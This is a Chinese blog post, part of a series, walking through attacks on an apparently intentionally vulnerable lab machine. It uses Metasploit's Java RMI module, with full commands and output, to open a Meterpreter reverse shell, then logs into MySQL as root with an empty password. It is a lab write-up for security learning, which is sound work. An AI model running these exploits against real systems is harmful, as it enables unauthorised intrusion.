渗透测试靶机实战---系统篇03

柔情只为你懂 2023-06-07 03:27 13阅读 0赞

## [(续) 渗透测试靶机实战---02][_---02] ##

### 7. [Java RMI Server Insecure Default Configuration Remote Code Execution Vulnerability][] ###

msf5 exploit(linux/misc/drb_remote_codeexec) > search java_RMI 
    
    Matching Modules
    ================
    
       #  Name                                            Disclosure Date  Rank       Check  Description
       -  ----                                            ---------------  ----       -----  -----------
       0  auxiliary/gather/java_rmi_registry                               normal     No     Java RMI Registry Interfaces Enumeration
       1  auxiliary/scanner/misc/java_rmi_server          2011-10-15       normal     Yes    Java RMI Server Insecure Endpoint Code Execution Scanner
       2  exploit/multi/browser/java_rmi_connection_impl  2010-03-31       excellent  No     Java RMIConnectionImpl Deserialization Privilege Escalation
       3  exploit/multi/misc/java_rmi_server              2011-10-15       excellent  No     Java RMI Server Insecure Default Configuration Java Code Execution
    
    
    msf5 exploit(linux/misc/drb_remote_codeexec) > use exploit/multi/misc/java_rmi_server
    msf5 exploit(multi/misc/java_rmi_server) > show info
    
           Name: Java RMI Server Insecure Default Configuration Java Code Execution
         Module: exploit/multi/misc/java_rmi_server
       Platform: Java, Linux, OSX, Solaris, Windows
           Arch: 
     Privileged: No
        License: Metasploit Framework License (BSD)
           Rank: Excellent
      Disclosed: 2011-10-15
    
    Provided by:
      mihi
    
    Available targets:
      Id  Name
      --  ----
      0   Generic (Java Payload)
      1   Windows x86 (Native Payload)
      2   Linux x86 (Native Payload)
      3   Mac OS X PPC (Native Payload)
      4   Mac OS X x86 (Native Payload)
    
    Check supported:
      No
    
    Basic options:
      Name       Current Setting  Required  Description
      ----       ---------------  --------  -----------
      HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
      RHOSTS                      yes       The target address range or CIDR identifier
      RPORT      1099             yes       The target port (TCP)
      SRVHOST    0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
      SRVPORT    8080             yes       The local port to listen on.
      SSL        false            no        Negotiate SSL for incoming connections
      SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
      URIPATH                     no        The URI to use for this exploit (default is random)
    
    Payload information:
      Avoid: 0 characters
    
    Description:
      This module takes advantage of the default configuration of the RMI 
      Registry and RMI Activation services, which allow loading classes 
      from any remote (HTTP) URL. As it invokes a method in the RMI 
      Distributed Garbage Collector which is available via every RMI 
      endpoint, it can be used against both rmiregistry and rmid, and 
      against most other (custom) RMI endpoints as well. Note that it does 
      not work against Java Management Extension (JMX) ports since those 
      do not support remote class loading, unless another RMI endpoint is 
      active in the same Java process. RMI method calls do not support or 
      require any sort of authentication.
    
    References:
      http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html
      http://www.securitytracker.com/id?1026215
      https://cvedetails.com/cve/CVE-2011-3556/
    
    msf5 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.10.149
    RHOSTS => 192.168.10.149
    msf5 exploit(multi/misc/java_rmi_server) > run
    
    [*] Started reverse TCP handler on 192.168.11.135:4444 
    [*] 192.168.10.149:1099 - Using URL: http://0.0.0.0:8080/7LJx65WYnvMx
    [*] 192.168.10.149:1099 - Local IP: http://192.168.11.135:8080/7LJx65WYnvMx
    [*] 192.168.10.149:1099 - Server started.
    [*] 192.168.10.149:1099 - Sending RMI Header...
    [*] 192.168.10.149:1099 - Sending RMI Call...
    [*] 192.168.10.149:1099 - Replied to request for payload JAR
    [*] Sending stage (53845 bytes) to 192.168.10.149
    [*] Meterpreter session 3 opened (192.168.11.135:4444 -> 192.168.10.149:33325) at 2019-10-12 17:29:09 +0800
    [*] 192.168.10.149:1099 - Server stopped.
    
    meterpreter > whoami
    [-] Unknown command: whoami.
    meterpreter > cd /
    meterpreter > ls
    Listing: /
    ==========
    
    Mode              Size     Type  Last modified              Name
    ----              ----     ----  -------------              ----
    100667/rw-rw-rwx  138      fil   2019-10-12 16:10:34 +0800  .aMndSYRKN0SFWvXN
    40666/rw-rw-rw-   4096     dir   2012-05-14 11:35:33 +0800  bin
    40666/rw-rw-rw-   1024     dir   2012-05-14 11:36:28 +0800  boot
    40666/rw-rw-rw-   4096     dir   2010-03-17 06:55:51 +0800  cdrom
    40666/rw-rw-rw-   13440    dir   2019-10-12 09:20:55 +0800  dev
    40666/rw-rw-rw-   4096     dir   2019-10-12 16:04:38 +0800  etc
    40666/rw-rw-rw-   4096     dir   2010-04-16 14:16:02 +0800  home
    40666/rw-rw-rw-   4096     dir   2010-03-17 06:57:40 +0800  initrd
    100666/rw-rw-rw-  7929183  fil   2012-05-14 11:35:56 +0800  initrd.img
    40666/rw-rw-rw-   4096     dir   2012-05-14 11:35:22 +0800  lib
    40666/rw-rw-rw-   16384    dir   2010-03-17 06:55:15 +0800  lost+found
    40666/rw-rw-rw-   4096     dir   2010-03-17 06:55:52 +0800  media
    40666/rw-rw-rw-   4096     dir   2010-04-29 04:16:56 +0800  mnt
    100666/rw-rw-rw-  14672    fil   2019-10-12 16:10:35 +0800  nohup.out
    40666/rw-rw-rw-   4096     dir   2010-03-17 06:57:39 +0800  opt
    40666/rw-rw-rw-   0        dir   2019-10-12 09:20:18 +0800  proc
    40666/rw-rw-rw-   4096     dir   2019-10-12 09:21:07 +0800  root
    40666/rw-rw-rw-   4096     dir   2012-05-14 09:54:53 +0800  sbin
    40666/rw-rw-rw-   4096     dir   2010-03-17 06:57:38 +0800  srv
    40666/rw-rw-rw-   0        dir   2019-10-12 09:20:19 +0800  sys
    40666/rw-rw-rw-   4096     dir   2019-10-12 16:25:12 +0800  tmp
    40666/rw-rw-rw-   4096     dir   2010-04-28 12:06:37 +0800  usr
    40666/rw-rw-rw-   4096     dir   2010-03-17 22:08:23 +0800  var
    100666/rw-rw-rw-  1987288  fil   2008-04-11 00:55:41 +0800  vmlinuz
    
    meterpreter >

利用metasplit可以直接进入系统如上;

--------------------

### 8. [PostgreSQL weak password][] ###

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzM3MjY4ODQx_size_16_color_FFFFFF_t_70][]

openVAS已经扫出了用户名/密码，使用mputty的登录方式如下，可以正常进入系统。

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzM3MjY4ODQx_size_16_color_FFFFFF_t_70 1][]

--------------------

### 9.[MySQL / MariaDB weak password][MySQL _ MariaDB weak password] ###

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzM3MjY4ODQx_size_16_color_FFFFFF_t_70 2][]

连接进入系统的方式如下：

root@kali:~#  mysql -u root -p -h 192.168.10.149 -P 3306
    Enter password:
    Welcome to the MariaDB monitor.  Commands end with ; or \g.
    Your MySQL connection id is 543
    Server version: 5.0.51a-3ubuntu5 (Ubuntu)
    
    Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.
    
    Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
    
    MySQL [(none)]> show databases
        -> ;
    +--------------------+
    | Database           |
    +--------------------+
    | information_schema |
    | dvwa               |
    | metasploit         |
    | mysql              |
    | owasp10            |
    | tikiwiki           |
    | tikiwiki195        |
    +--------------------+
    7 rows in set (0.05 sec)
    
    MySQL [(none)]>

上面让输入密码的地方，直接敲击Enter键就可以了，通过show databases命令可以系统所有的databases显示出来。

--------------------

[（未完待续） 渗透测试靶机实战---04][_---04]

[_---02]: https://blog.csdn.net/m0_37268841/article/details/102522247
[Java RMI Server Insecure Default Configuration Remote Code Execution Vulnerability]: https://127.0.0.1:9392/omp?cmd=get_result&result_id=621fc627-0098-4d8e-80ee-a80cd6683408&apply_overrides=&min_qod=&task_id=&name=&report_id=a09dbc6c-39e4-49cd-baa5-8fc813cb6bf6&filter=&filt_id=&overrides=&autofp=&report_result_id=621fc627-0098-4d8e-80ee-a80cd6683408&token=1d5df4d2-f26b-478e-882f-cd8d5628cc7d
[PostgreSQL weak password]: https://127.0.0.1:9392/omp?cmd=get_result&result_id=88f95365-b1a4-4f45-99db-f23d0eab5d25&apply_overrides=&min_qod=&task_id=&name=&report_id=a09dbc6c-39e4-49cd-baa5-8fc813cb6bf6&filter=&filt_id=&overrides=&autofp=&report_result_id=88f95365-b1a4-4f45-99db-f23d0eab5d25&token=1d5df4d2-f26b-478e-882f-cd8d5628cc7d
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzM3MjY4ODQx_size_16_color_FFFFFF_t_70]: /images/20230601/a1f603c0ef984b36b4462383ba702878.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzM3MjY4ODQx_size_16_color_FFFFFF_t_70 1]: /images/20230601/c1641617015e4c6585c83f94adb63964.png
[MySQL _ MariaDB weak password]: https://127.0.0.1:9392/omp?cmd=get_result&result_id=60de80a5-140c-4e9b-8250-6cae0342bacc&apply_overrides=&min_qod=&task_id=&name=&report_id=a09dbc6c-39e4-49cd-baa5-8fc813cb6bf6&filter=&filt_id=&overrides=&autofp=&report_result_id=60de80a5-140c-4e9b-8250-6cae0342bacc&token=1d5df4d2-f26b-478e-882f-cd8d5628cc7d
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzM3MjY4ODQx_size_16_color_FFFFFF_t_70 2]: /images/20230601/b270adf811ad4b1fa27bae421d2eb269.png
[_---04]: https://blog.csdn.net/m0_37268841/article/details/102546059